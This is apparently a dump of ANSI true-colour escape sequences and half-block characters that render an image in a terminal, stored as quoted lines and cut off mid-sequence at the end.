'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;234;232;231m▄[38;2;206;204;203m[48;2;149;143;141m▀[0m[38;2;150;144;142m▀[38;2;239;231;230m[48;2;250;239;237m▀[38;2;254;243;241m[48;2;235;219;217m▀[38;2;236;224;219m[48;2;242;227;220m▀[38;2;236;224;218m[48;2;240;227;220m▀[38;2;237;228;219m[48;2;239;228;219m▀[38;2;241;228;223m[48;2;240;227;218m▀[38;2;242;226;223m[48;2;241;226;223m▀[38;2;241;226;221m▀[38;2;242;226;223m▀[38;2;241;224;221m▀[38;2;241;226;223m▀▀▀[38;2;239;224;219m[48;2;238;224;219m▀[38;2;249;236;230m[48;2;246;235;227m▀[38;2;197;185;179m[48;2;204;193;186m▀[38;2;218;202;197m[48;2;205;191;186m▀[38;2;254;239;238m[48;2;247;231;230m▀[38;2;250;235;232m[48;2;239;221;221m▀[38;2;227;212;210m[48;2;208;191;192m▀[38;2;196;180;181m[48;2;199;181;184m▀[38;2;203;182;185m[48;2;204;182;187m▀[38;2;198;177;182m[48;2;203;182;185m▀[38;2;203;181;187m[48;2;205;183;186m▀[38;2;183;161;171m[48;2;199;176;186m▀[38;2;55;39;54m[48;2;70;51;65m▀[38;2;41;31;49m[48;2;42;31;50m▀[38;2;45;41;62m[48;2;50;43;65m▀[38;2;59;55;77m[48;2;61;54;80m▀[38;2;70;63;89m[48;2;60;51;77m▀[38;2;88;85;108m[48;2;59;52;80m▀[38;2;91;95;118m[48;2;61;54;87m▀[38;2;72;73;96m[48;2;84;76;108m▀[38;2;57;53;74m[48;2;89;86;111m▀[38;2;57;62;73m[48;2;71;77;93m▀[38;2;63;48;54m[48;2;63;59;67m▀[38;2;139;49;69m[48;2;94;40;53m▀[38;2;216;63;87m[48;2;173;64;87m▀[38;2;226;55;73m[48;2;203;65;87m▀[38;2;183;56;80m[48;2;146;54;77m▀[38;2;81;40;63m[48;2;75;52;77m▀[38;2;55;55;71m[48;2;66;61;81m▀[38;2;46;35;62m[48;2;57;53;77m▀[38;2;44;27;54m[48;2;70;59;85m▀[38;2;24;7;29m[48;2;24;11;32m▀[38;2;37;29;37m[48;2;53;45;52m▀[38;2;174;170;164m[48;2;182;175;169m▀[38;2;163;165;151m[48;2;164;162;148m▀[38;2;176;164;158m[48;2;177;159;161m▀[38;2;166;146;146m[48;2;166;141;150m▀[38;2;168;142;149m[48;2;173;142;157m▀[38;2;182;153;168m[48;2;181;150;166m▀[38;2;80;60;73m[48;2;45;28;42m▀[38;2;116;99;113m[48;2;102;85;99m▀[38;2;155;133;146m[48;2;199;174;191m▀[38;2;158;133;143m[48;2;170;141;157m▀[38;2;164;147;153m[48;2;141;116;130m▀[38;2;183;168;173m[48;2;142;124;130m▀[38;2;201;191;194m[48;2;175;159;164m▀[38;2;188;183;185m[48;2;158;144;149m▀[38;2;228;227;228m[48;2;162;154;158m▀[0m[38;2;170;164;165m▄[0m[38;2;199;196;197m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;237;237;237m▄[38;2;155;151;150m[48;2;144;141;140m▀[0m[38;2;221;217;215m▀[0m[38;2;237;228;226m▄[38;2;232;219;219m[48;2;237;227;225m▀[38;2;240;226;224m[48;2;240;226;224m▀[38;2;241;227;221m[48;2;241;226;221m▀[38;2;240;227;220m[48;2;241;227;220m▀[38;2;238;228;219m[48;2;240;228;219m▀[38;2;240;227;218m[48;2;240;227;218m▀[38;2;241;226;223m[48;2;241;226;223m▀▀▀▀▀▀▀[38;2;239;224;220m[48;2;239;224;220m▀[38;2;250;238;231m[48;2;250;238;231m▀[38;2;204;192;185m[48;2;203;191;184m▀[38;2;198;183;180m[48;2;198;183;180m▀[38;2;253;237;236m[48;2;252;237;236m▀[38;2;230;213;213m[48;2;208;191;191m▀[38;2;198;181;181m[48;2;195;179;179m▀[38;2;204;184;187m[48;2;202;182;185m▀[38;2;202;181;186m[48;2;199;179;185m▀[38;2;202;181;184m[48;2;201;180;183m▀[38;2;198;177;181m[48;2;198;177;181m▀[38;2;206;183;193m[48;2;212;188;198m▀[38;2;86;66;82m[48;2;102;83;97m▀[38;2;39;30;48m[48;2;40;30;49m▀[38;2;41;34;56m[48;2;46;40;62m▀[38;2;52;45;71m[48;2;46;40;65m▀[38;2;59;50;76m[48;2;53;45;72m▀[38;2;60;53;80m[48;2;51;44;71m▀[38;2;63;52;85m[48;2;57;49;75m▀[38;2;61;51;83m[48;2;65;54;83m▀[38;2;67;59;91m[48;2;69;53;86m▀[38;2;75;73;98m[48;2;70;53;87m▀[38;2;60;61;80m[48;2;71;61;92m▀[38;2;44;33;48m[48;2;69;64;88m▀[38;2;66;35;50m[48;2;63;62;82m▀[38;2;70;31;39m[48;2;37;39;53m▀[38;2;72;52;62m[48;2;44;39;55m▀[38;2;67;67;85m[48;2;48;39;59m▀[38;2;66;65;85m[48;2;49;48;69m▀[38;2;71;65;92m[48;2;67;61;86m▀[38;2;73;69;93m[48;2;72;60;86m▀[38;2;17;12;29m[48;2;18;17;33m▀[38;2;60;49;56m[48;2;54;44;52m▀[38;2;182;169;164m[48;2;168;157;152m▀[38;2;170;162;149m[48;2;170;159;147m▀[38;2;171;152;154m[48;2;165;146;151m▀[38;2;163;137;148m[48;2;169;138;152m▀[38;2;177;144;160m[48;2;183;147;165m▀[38;2;160;131;149m[48;2;143;116;137m▀[38;2;42;28;43m[48;2;51;39;56m▀[38;2;35;24;39m[48;2;30;22;38m▀[38;2;158;137;152m[48;2;83;66;83m▀[38;2;176;149;166m[48;2;176;153;172m▀[38;2;158;135;148m[48;2;165;140;155m▀[38;2;132;111;120m[48;2;150;125;137m▀[38;2;159;137;146m[48;2;158;131;144m▀[38;2;168;146;154m[48;2;166;139;153m▀[38;2;188;170;177m[48;2;153;127;140m▀[38;2;192;174;182m[48;2;160;135;149m▀[38;2;157;144;150m[48;2;176;153;166m▀[38;2;150;142;147m[48;2;176;159;170m▀[38;2;195;191;194m[48;2;143;128;138m▀[0m[38;2;144;137;142m▄[0m[38;2;238;236;238m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;206;206;207m[48;2;187;186;186m▀[38;2;166;163;163m[48;2;183;177;179m▀[0m [38;2;234;223;220m[48;2;232;221;220m▀[38;2;238;226;224m[48;2;240;226;225m▀[38;2;240;224;223m[48;2;241;224;223m▀[38;2;241;227;221m[48;2;241;226;221m▀[38;2;241;227;220m[48;2;241;225;220m▀[38;2;240;228;219m[48;2;240;228;219m▀[38;2;240;227;218m[48;2;241;227;218m▀[38;2;241;226;223m[48;2;241;226;223m▀▀▀▀▀▀▀[38;2;238;223;219m▀[38;2;245;232;226m[48;2;239;227;220m▀[38;2;199;188;181m[48;2;235;225;217m▀[38;2;216;202;197m[48;2;209;194;190m▀[38;2;255;242;240m[48;2;218;204;202m▀[38;2;214;195;197m[48;2;253;237;237m▀[38;2;195;177;179m[48;2;216;198;199m▀[38;2;202;182;185m[48;2;196;177;180m▀[38;2;201;179;185m[48;2;201;180;184m▀[38;2;201;180;182m[48;2;204;183;186m▀[38;2;198;176;181m[48;2;199;177;182m▀[38;2;214;191;202m[48;2;217;194;205m▀[38;2;111;92;106m[48;2;116;97;111m▀[38;2;38;29;46m[48;2;38;27;44m▀[38;2;48;42;64m[48;2;52;45;67m▀[38;2;46;40;65m[48;2;46;41;65m▀[38;2;55;46;73m[48;2;54;45;72m▀[38;2;51;45;71m[48;2;52;45;71m▀[38;2;51;41;64m[48;2;53;46;63m▀[38;2;55;43;67m[48;2;55;46;63m▀[38;2;63;53;78m[48;2;52;46;70m▀[38;2;65;55;85m[48;2;51;49;73m▀[38;2;63;55;85m[48;2;54;48;74m▀[38;2;64;59;86m[48;2;64;56;83m▀[38;2;67;63;88m[48;2;66;60;84m▀[38;2;40;40;64m[48;2;37;40;62m▀[38;2;62;33;59m[48;2;77;30;52m▀[38;2;96;39;65m[48;2;180;64;91m▀[38;2;66;42;62m[48;2;130;50;74m▀[38;2;56;49;69m[48;2;56;41;53m▀[38;2;75;66;87m[48;2;66;65;80m▀[38;2;24;19;37m[48;2;40;33;50m▀[38;2;34;27;34m[48;2;18;12;22m▀[38;2;148;141;136m[48;2;136;129;130m▀[38;2;170;158;150m[48;2;183;165;168m▀[38;2;169;144;153m[48;2;172;141;155m▀[38;2;168;131;149m[48;2;182;142;164m▀[38;2;220;183;204m[48;2;251;215;238m▀[38;2;143;117;140m[48;2;115;94;116m▀[38;2;52;42;60m[48;2;57;50;72m▀[38;2;48;44;60m[48;2;59;54;75m▀[38;2;22;11;29m[48;2;30;21;41m▀[38;2;132;114;133m[48;2;66;52;73m▀[38;2;170;142;161m[48;2;165;139;159m▀[38;2;147;116;131m[48;2;146;110;127m▀[38;2;161;130;144m[48;2;169;138;154m▀[38;2;166;137;152m[48;2;168;138;153m▀[38;2;169;140;154m[48;2;163;137;151m▀[38;2;164;136;152m[48;2;162;137;150m▀[38;2;161;135;149m[48;2;165;136;152m▀[38;2;160;133;148m[48;2;166;137;152m▀[38;2;172;147;161m[48;2;164;132;148m▀[38;2;142;126;135m[48;2;170;149;159m▀[38;2;130;121;127m[48;2;108;95;102m▀[0m[38;2;223;219;221m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;171;170;170m[48;2;161;160;162m▀[38;2;195;190;190m[48;2;198;193;193m▀[0m [38;2;232;224;221m[48;2;234;223;221m▀[38;2;241;228;226m[48;2;242;227;227m▀[38;2;242;226;221m[48;2;243;227;225m▀[48;2;242;226;219m▀[38;2;241;226;220m[48;2;242;227;220m▀[38;2;241;227;219m[48;2;241;227;218m▀[38;2;241;226;218m[48;2;241;226;218m▀[38;2;241;226;223m[48;2;241;226;223m▀▀▀▀▀▀▀▀[38;2;237;226;218m[48;2;240;228;221m▀[38;2;240;228;221m[48;2;239;227;220m▀[38;2;234;219;215m[48;2;243;229;226m▀[38;2;216;201;198m[48;2;247;232;230m▀[38;2;215;197;197m[48;2;224;206;206m▀[38;2;247;229;229m[48;2;215;197;197m▀[38;2;225;205;208m[48;2;250;231;234m▀[38;2;196;175;180m[48;2;226;204;209m▀[38;2;197;177;180m[48;2;195;174;177m▀[38;2;198;176;180m[48;2;194;172;176m▀[38;2;218;195;205m[48;2;218;195;206m▀[38;2;119;100;115m[48;2;119;100;115m▀[38;2;39;29;46m[48;2;32;22;40m▀[38;2;52;45;69m[48;2;52;46;67m▀[38;2;46;40;65m[48;2;45;40;64m▀[38;2;52;43;70m[48;2;49;40;66m▀[38;2;46;42;67m[48;2;40;34;61m▀[38;2;48;44;60m[48;2;40;33;56m▀[38;2;50;42;60m[48;2;44;34;56m▀[38;2;48;42;64m[48;2;41;35;61m▀[38;2;45;42;64m[48;2;42;39;63m▀[38;2;49;40;65m[48;2;45;38;63m▀[38;2;59;46;73m[48;2;42;37;60m▀[38;2;56;46;69m[48;2;43;37;54m▀[38;2;39;34;55m[48;2;29;18;39m▀[38;2;95;35;51m[48;2;102;37;43m▀[38;2;210;62;82m[48;2;201;57;56m▀[38;2;193;57;84m[48;2;213;55;77m▀[38;2;92;38;51m[48;2;157;52;72m▀[38;2;46;45;51m[48;2;56;33;41m▀[38;2;48;44;57m[48;2;43;40;50m▀[38;2;12;9;21m[48;2;28;22;38m▀[38;2;110;99;109m[48;2;73;64;81m▀[38;2;190;166;176m[48;2;187;159;179m▀[38;2;168;130;149m[48;2;171;128;151m▀[38;2;217;175;199m[48;2;242;196;224m▀[38;2;246;213;237m[48;2;218;186;213m▀[38;2;80;61;84m[48;2;59;45;70m▀[38;2;65;56;80m[48;2;67;61;85m▀[38;2;76;70;94m[48;2;69;59;85m▀[38;2;42;32;56m[48;2;23;16;39m▀[38;2;23;13;34m[48;2;22;15;38m▀[38;2;120;99;119m[48;2;49;31;52m▀[38;2;163;133;150m[48;2;157;130;148m▀[38;2;144;116;132m[48;2;157;131;149m▀[38;2;148;119;137m[48;2;124;97;115m▀[38;2;166;140;157m[48;2;158;129;148m▀[38;2;161;136;152m[48;2;169;141;159m▀[38;2;165;136;153m[48;2;164;133;153m▀[38;2;166;136;153m[48;2;162;137;154m▀[38;2;165;132;150m[48;2;163;135;153m▀[38;2;170;144;157m[48;2;172;143;157m▀[38;2;110;93;102m[48;2;115;95;104m▀[38;2;203;199;203m[48;2;224;221;224m▀[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [38;2;159;159;159m[48;2;159;159;158m▀[38;2;204;196;195m[48;2;209;198;195m▀[38;2;254;245;241m[48;2;253;240;236m▀[38;2;234;221;219m[48;2;235;224;218m▀[38;2;238;223;220m[48;2;238;227;221m▀[38;2;241;226;224m[48;2;240;226;223m▀[38;2;242;226;221m[48;2;241;226;223m▀[38;2;241;226;221m▀[38;2;241;227;221m▀[48;2;240;227;223m▀[38;2;240;227;223m[48;2;239;227;223m▀▀▀[38;2;240;226;223m▀[38;2;238;224;221m[48;2;238;226;221m▀[38;2;240;224;221m[48;2;240;224;221m▀[38;2;241;226;223m[48;2;242;227;224m▀[48;2;241;226;223m▀[38;2;238;226;219m▀[38;2;238;224;219m[48;2;240;224;221m▀[38;2;239;226;220m[48;2;242;227;224m▀[38;2;238;223;220m[48;2;239;224;220m▀[38;2;246;229;228m[48;2;246;230;227m▀[38;2;223;206;205m[48;2;224;208;205m▀[38;2;225;208;209m[48;2;227;212;208m▀[38;2;248;229;230m[48;2;243;228;225m▀[38;2;228;207;208m[48;2;246;230;226m▀[38;2;197;176;179m[48;2;229;213;208m▀[38;2;213;191;199m[48;2;210;194;201m▀[38;2;104;84;102m[48;2;61;45;64m▀[38;2;29;17;40m[48;2;41;31;59m▀[38;2;41;35;60m[48;2;48;44;72m▀[38;2;33;28;53m[48;2;33;29;55m▀[38;2;39;30;55m[48;2;30;22;46m▀[38;2;41;35;56m[48;2;32;23;42m▀[38;2;40;33;53m[48;2;35;32;44m▀[38;2;39;30;54m[48;2;32;29;48m▀[38;2;40;34;61m[48;2;39;30;56m▀[38;2;43;35;62m[48;2;39;29;54m▀[38;2;44;31;60m[48;2;41;27;53m▀[38;2;37;32;54m[48;2;41;28;54m▀[38;2;41;41;55m[48;2;39;34;51m▀[38;2;26;11;27m[48;2;35;26;35m▀[38;2;98;26;33m[48;2;89;22;32m▀[38;2;175;45;44m[48;2;152;34;41m▀[38;2;188;41;54m[48;2;161;29;38m▀[38;2;184;52;72m[48;2;175;46;57m▀[38;2;77;29;38m[48;2;87;24;33m▀[38;2;35;30;41m[48;2;32;26;39m▀[38;2;48;38;57m[48;2;56;44;70m▀[38;2;48;34;54m[48;2;27;12;32m▀[38;2;179;150;168m[48;2;148;126;137m▀[38;2;177;138;158m[48;2;185;152;168m▀[38;2;250;208;232m[48;2;246;213;229m▀[38;2;183;158;177m[48;2;149;130;141m▀[38;2;35;19;39m[48;2;23;2;16m▀[38;2;55;42;65m[48;2;44;29;43m▀[38;2;37;27;50m[48;2;24;17;33m▀[38;2;22;17;39m[48;2;43;30;54m▀[38;2;34;28;52m[48;2;56;45;73m▀[38;2;29;15;35m[48;2;41;32;52m▀[38;2;82;70;78m[48;2;29;19;29m▀[38;2;177;159;172m[48;2;102;86;99m▀[38;2;158;133;148m[48;2;184;160;174m▀[38;2;124;96;111m[48;2;146;118;133m▀[38;2;161;133;150m[48;2;99;70;85m▀[38;2;169;140;155m[48;2;171;140;155m▀[38;2;166;136;153m[48;2;169;136;151m▀[38;2;163;131;149m[48;2;161;130;146m▀[38;2;174;144;159m[48;2;175;151;165m▀[38;2;106;87;98m[48;2;81;63;75m▀[38;2;170;162;169m[48;2;4;0;2m▀[0m[38;2;57;54;62m▄[0m[38;2;126;121;128m▄[0m[38;2;237;234;238m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;216;216;218m▄[38;2;162;162;162m[48;2;102;102;104m▀[38;2;198;190;185m[48;2;202;192;188m▀[38;2;253;241;237m[48;2;252;240;236m▀[38;2;235;224;219m[48;2;235;223;218m▀[38;2;238;226;221m[48;2;236;226;220m▀[38;2;240;226;223m[48;2;240;227;223m▀[38;2;241;226;223m[48;2;241;226;223m▀▀▀[38;2;240;227;223m[48;2;240;227;223m▀[38;2;239;227;223m[48;2;239;227;223m▀▀▀[38;2;240;228;224m[48;2;240;227;223m▀[38;2;242;227;224m[48;2;238;223;219m▀[38;2;240;225;221m[48;2;242;227;224m▀[38;2;241;226;223m[48;2;232;217;214m▀[38;2;237;221;218m[48;2;236;218;215m▀[38;2;240;225;221m[48;2;240;225;221m▀[38;2;242;227;224m[48;2;241;225;223m▀[48;2;229;214;210m▀[38;2;246;230;227m[48;2;209;194;191m▀[38;2;231;216;213m[48;2;203;187;184m▀[38;2;212;194;193m[48;2;232;217;214m▀[38;2;243;228;225m[48;2;245;229;226m▀[38;2;240;225;221m[48;2;241;226;223m▀[38;2;239;226;218m[48;2;235;220;215m▀[38;2;250;238;232m[48;2;251;239;232m▀[38;2;226;215;218m[48;2;192;183;186m▀[38;2;43;33;49m[48;2;49;40;56m▀[38;2;44;38;63m[48;2;64;55;83m▀[38;2;52;48;75m[48;2;54;43;75m▀[38;2;51;45;73m[48;2;54;43;74m▀[38;2;46;40;64m[48;2;50;44;71m▀[38;2;39;29;51m[48;2;52;45;71m▀[38;2;26;19;38m[48;2;51;42;71m▀[38;2;28;21;43m[48;2;44;30;60m▀[38;2;34;21;45m[48;2;29;18;35m▀[38;2;30;21;37m[48;2;27;10;17m▀[38;2;33;24;37m[48;2;32;2;8m▀[38;2;41;27;44m[48;2;28;2;13m▀[38;2;38;31;50m[48;2;29;20;35m▀[38;2;31;27;42m[48;2;31;27;46m▀[38;2;52;11;20m[48;2;33;18;28m▀[38;2;118;27;31m[48;2;74;17;17m▀[38;2;147;23;33m[48;2;132;21;33m▀[38;2;148;33;44m[48;2;141;31;44m▀[38;2;80;22;32m[48;2;73;19;29m▀[38;2;32;24;40m[48;2;29;23;38m▀[38;2;48;44;65m[48;2;48;46;69m▀[38;2;24;20;37m[48;2;30;30;45m▀[38;2;113;91;105m[48;2;64;50;60m▀[38;2;180;142;165m[48;2;146;111;138m▀[38;2;253;218;238m[48;2;255;226;252m▀[38;2;136;116;127m[48;2;122;105;115m▀[38;2;15;5;11m[48;2;2;0;0m▀[38;2;26;15;24m[48;2;56;10;27m▀[38;2;30;27;38m[48;2;60;23;40m▀[38;2;49;40;59m[48;2;67;67;81m▀[38;2;69;60;86m[48;2;66;67;88m▀[38;2;37;32;55m[48;2;50;42;69m▀[38;2;40;28;48m[48;2;35;27;54m▀[38;2;29;15;35m[48;2;42;32;59m▀[38;2;87;67;87m[48;2;28;17;41m▀[38;2;174;146;168m[48;2;48;31;53m▀[38;2;135;99;121m[48;2;158;137;158m▀[38;2;113;78;96m[48;2;119;94;113m▀[38;2;170;139;155m[48;2;115;81;98m▀[38;2;160;133;148m[48;2;168;131;149m▀[38;2;170;150;162m[48;2;172;150;165m▀[38;2;53;39;51m[48;2;31;19;33m▀[38;2;1;0;1m[48;2;0;0;0m▀[38;2;44;37;45m[48;2;11;0;13m▀[38;2;20;10;20m[48;2;31;20;33m▀[38;2;16;7;17m[48;2;29;19;32m▀[38;2;142;135;142m[48;2;2;0;9m▀[0m[38;2;59;56;66m▄[0m[38;2;207;208;210m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;212;210;216m▄[0m[38;2;105;104;111m▄[38;2;146;146;150m[48;2;65;64;71m▀[38;2;86;85;92m[48;2;99;98;108m▀[38;2;71;69;75m[48;2;56;55;63m▀[38;2;198;188;184m[48;2;198;188;184m▀[38;2;252;240;236m[48;2;251;239;235m▀[38;2;235;223;218m[48;2;234;223;218m▀[38;2;237;226;220m[48;2;238;226;221m▀[38;2;240;227;223m[48;2;240;226;223m▀[38;2;241;226;223m[48;2;241;226;223m▀▀▀[38;2;240;227;223m[48;2;240;227;223m▀[38;2;238;227;223m▀[38;2;240;227;223m[48;2;241;226;223m▀▀[38;2;240;224;221m▀[38;2;237;221;218m[48;2;245;229;226m▀[38;2;243;228;225m[48;2;239;223;219m▀[38;2;221;207;204m[48;2;212;195;192m▀[38;2;229;213;209m[48;2;234;217;214m▀[38;2;240;225;221m[48;2;246;229;226m▀[38;2;242;227;224m[48;2;219;204;201m▀[38;2;202;185;182m[48;2;207;192;188m▀[38;2;237;221;218m[48;2;251;236;232m▀[38;2;242;227;224m[48;2;241;226;223m▀[38;2;243;228;225m▀[38;2;241;226;223m[48;2;238;223;219m▀[48;2;239;224;220m▀[38;2;234;218;215m[48;2;247;234;229m▀[38;2;255;245;241m[48;2;229;219;218m▀[38;2;139;131;136m[48;2;56;52;60m▀[38;2;50;44;61m[48;2;64;62;80m▀[38;2;72;67;92m[48;2;67;65;91m▀[38;2;66;55;87m[48;2;69;63;93m▀[38;2;59;46;77m[48;2;69;61;89m▀[38;2;55;43;71m[48;2;69;59;83m▀[38;2;54;43;69m[48;2;66;56;78m▀[38;2;49;39;76m[48;2;60;52;87m▀[38;2;52;42;77m[48;2;53;56;84m▀[38;2;38;34;49m[48;2;29;35;44m▀[38;2;59;19;24m[48;2;71;19;23m▀[38;2;104;19;29m[48;2;166;44;63m▀[38;2;67;4;16m[48;2;125;29;46m▀[38;2;20;1;13m[48;2;30;7;16m▀[38;2;32;24;42m[48;2;26;16;32m▀[38;2;27;23;33m[48;2;30;21;37m▀[38;2;43;15;17m[48;2;35;24;30m▀[38;2;120;23;39m[48;2;84;13;29m▀[38;2;155;34;57m[48;2;147;28;55m▀[38;2;75;15;30m[48;2;77;10;31m▀[38;2;26;22;38m[48;2;27;24;40m▀[38;2;48;45;66m[48;2;51;45;70m▀[38;2;39;35;52m[48;2;42;35;55m▀[38;2;30;24;34m[48;2;39;35;44m▀[38;2;56;35;60m[48;2;7;0;19m▀[38;2;255;219;249m[48;2;127;100;126m▀[38;2;142;126;136m[48;2;172;160;169m▀[38;2;13;0;0m[48;2;13;13;9m▀[38;2;147;51;77m[48;2;135;53;73m▀[38;2;159;51;88m[48;2;212;75;118m▀[38;2;65;41;60m[48;2;100;28;57m▀[38;2;63;71;86m[48;2;56;52;65m▀[38;2;66;57;85m[48;2;69;76;92m▀[38;2;43;31;63m[48;2;60;59;81m▀[38;2;37;26;55m[48;2;40;34;57m▀[38;2;41;31;57m[48;2;33;24;46m▀[38;2;26;17;38m[48;2;42;34;53m▀[38;2;20;11;28m[48;2;31;23;40m▀[38;2;108;92;109m[48;2;10;0;17m▀[38;2;100;73;88m[48;2;51;34;50m▀[38;2;139;105;124m[48;2;89;67;85m▀[38;2;175;151;170m[48;2;144;118;138m▀[38;2;33;17;34m[48;2;35;16;34m▀[38;2;0;0;2m[48;2;0;0;0m▀[38;2;2;0;8m[48;2;6;4;15m▀[38;2;1;0;7m[48;2;1;0;12m▀[38;2;9;1;15m[48;2;0;0;6m▀[38;2;35;28;42m[48;2;7;0;13m▀[38;2;17;11;26m[48;2;31;23;38m▀[38;2;7;2;12m[48;2;33;26;38m▀[38;2;149;147;150m[48;2;0;0;0m▀[0m[38;2;108;105;111m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;221;221;224m▄[0m[38;2;104;100;110m▄[38;2;154;153;159m[48;2;64;61;71m▀[38;2;72;70;80m[48;2;73;70;80m▀[38;2;69;67;78m[48;2;63;60;72m▀[38;2;67;66;76m▀[38;2;60;57;72m[48;2;41;38;54m▀[38;2;18;13;26m[48;2;0;0;2m▀[38;2;197;186;183m[48;2;191;180;177m▀[38;2;253;241;235m[48;2;253;241;237m▀[38;2;235;223;218m[48;2;235;224;218m▀[38;2;238;226;221m[48;2;238;226;221m▀[38;2;240;226;223m[48;2;240;226;223m▀[38;2;241;226;223m[48;2;241;226;223m▀▀▀▀▀▀▀[38;2;240;225;221m▀[38;2;248;231;228m[48;2;249;232;229m▀[38;2;227;209;207m[48;2;194;177;174m▀[38;2;195;179;175m[48;2;193;176;173m▀[38;2;239;223;219m[48;2;243;227;224m▀[38;2;253;238;235m[48;2;239;224;220m▀[38;2;186;171;168m[48;2;231;216;213m▀[38;2;221;206;203m[48;2;212;196;193m▀[38;2;249;234;230m[48;2;234;218;215m▀[38;2;237;221;218m[48;2;247;231;228m▀[48;2;241;226;223m▀[38;2;238;223;221m[48;2;237;221;218m▀[38;2;237;221;218m[48;2;249;234;229m▀[0m[38;2;221;208;210m▄[38;2;121;115;121m[48;2;41;33;45m▀[38;2;35;29;42m[48;2;62;56;74m▀[38;2;75;71;92m[48;2;71;65;92m▀[38;2;65;60;89m[48;2;64;59;91m▀[38;2;64;60;89m[48;2;67;62;92m▀[38;2;67;63;87m[48;2;71;64;88m▀[38;2;67;64;82m[48;2;57;46;63m▀[38;2;70;70;83m[48;2;52;33;45m▀[38;2;61;56;77m[48;2;81;52;60m▀[38;2;40;40;56m[48;2;121;70;83m▀[38;2;49;29;38m[48;2;164;66;91m▀[38;2;125;39;53m[48;2;192;61;86m▀[38;2;192;48;75m[48;2;186;56;82m▀[38;2;160;46;72m[48;2;130;43;69m▀[38;2;60;29;44m[48;2;57;31;53m▀[38;2;35;35;50m[48;2;53;49;72m▀[38;2;33;24;44m[48;2;46;38;66m▀[38;2;30;27;40m[48;2;34;34;53m▀[38;2;48;9;21m[48;2;31;19;27m▀[38;2;120;30;54m[48;2;64;18;30m▀[38;2;87;23;45m[48;2;45;5;21m▀[38;2;29;22;40m[48;2;24;16;35m▀[38;2;50;42;69m[48;2;54;48;73m▀[38;2;42;39;56m[48;2;46;44;62m▀[38;2;40;37;46m[48;2;45;41;50m▀[38;2;34;24;45m[48;2;48;39;55m▀[38;2;43;21;44m[48;2;26;10;30m▀[38;2;190;165;181m[48;2;136;115;129m▀[38;2;66;63;62m[48;2;141;131;137m▀[38;2;83;44;52m[48;2;46;34;37m▀[38;2;184;64;102m[48;2;120;53;73m▀[38;2;191;60;106m[48;2;171;57;93m▀[38;2;111;38;69m[48;2;176;57;98m▀[38;2;94;57;77m[48;2;158;52;82m▀[38;2;89;65;82m[48;2;142;53;75m▀[38;2;71;59;71m[48;2;125;55;73m▀[38;2;42;41;50m[48;2;87;40;54m▀[38;2;29;28;39m[48;2;45;18;29m▀[38;2;41;38;51m[48;2;35;19;30m▀[38;2;35;27;43m[48;2;42;31;46m▀[38;2;5;0;11m[48;2;37;22;43m▀[38;2;33;22;39m[48;2;6;0;13m▀[38;2;103;81;102m[48;2;50;28;50m▀[38;2;71;51;72m[48;2;96;78;99m▀[38;2;57;46;64m[48;2;92;81;99m▀[38;2;6;1;17m[48;2;77;69;87m▀[38;2;0;0;10m[48;2;31;23;40m▀[38;2;4;0;13m[48;2;1;0;11m▀[38;2;0;0;7m[48;2;5;0;15m▀[48;2;0;0;11m▀[38;2;29;21;37m[48;2;0;0;8m▀[38;2;38;31;42m[48;2;23;15;30m▀[38;2;0;0;0m[48;2;40;32;45m▀[38;2;117;114;120m[48;2;0;0;1m▀[0m[38;2;135;131;138m▄[0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m [0m\n'
|
||||
'[0m [0m [0m [0m [0m [0m [0m [0m [0m[38;2;169;168;176m▄[38;2;184;183;187m[48;2;66;64;74m▀[38;2;74;71;82m[48;2;67;64;75m▀[38;2;64;61;73m[48;2;63;60;82m▀[38;2;64;61;75m[48;2;62;55;81m▀[38;2;65;62;76m[48;2;28;22;48m▀[38;2;49;44;60m[48;2;0;0;15m▀[38;2;7;2;18m[48;2;32;29;50m▀[38;2;11;8;23m[48;2;92;80;95m▀[38;2;21;13;27m[48;2;86;65;74m▀[38;2;192;181;179m[48;2;232;216;214m▀[38;2;252;240;236m[48;2;245;230;225m▀[38;2;236;224;219m[48;2;238;223;219m▀[38;2;237;226;221m[48;2;240;226;223m▀[38;2;240;227;223m[48;2;242;227;224m▀[38;2;241;226;223m[48;2;241;226;223m▀▀▀[48;2;241;227;224m▀[48;2;240;225;224m▀[48;2;242;225;225m▀[38;2;239;224;221m[48;2;235;223;220m▀[38;2;242;227;225m[48;2;246;235;232m▀[38;2;239;221;219m[48;2;208;182;184m▀[38;2;137;117;115m[48;2;133;105;108m▀[38;2;201;184;181m[48;2;223;201;202m▀[38;2;249;232;229m[48;2;245;229;228m▀[38;2;237;223;218m[48;2;234;229;218m▀[38;2;247;231;228m[48;2;237;226;219m▀[38;2;242;227;224m[48;2;243;226;225m▀[38;2;212;196;194m[48;2;245;227;226m▀[38;2;232;216;210m[48;2;215;204;194m▀[38;2;246;231;224m[48;2;224;213;201m▀[38;2;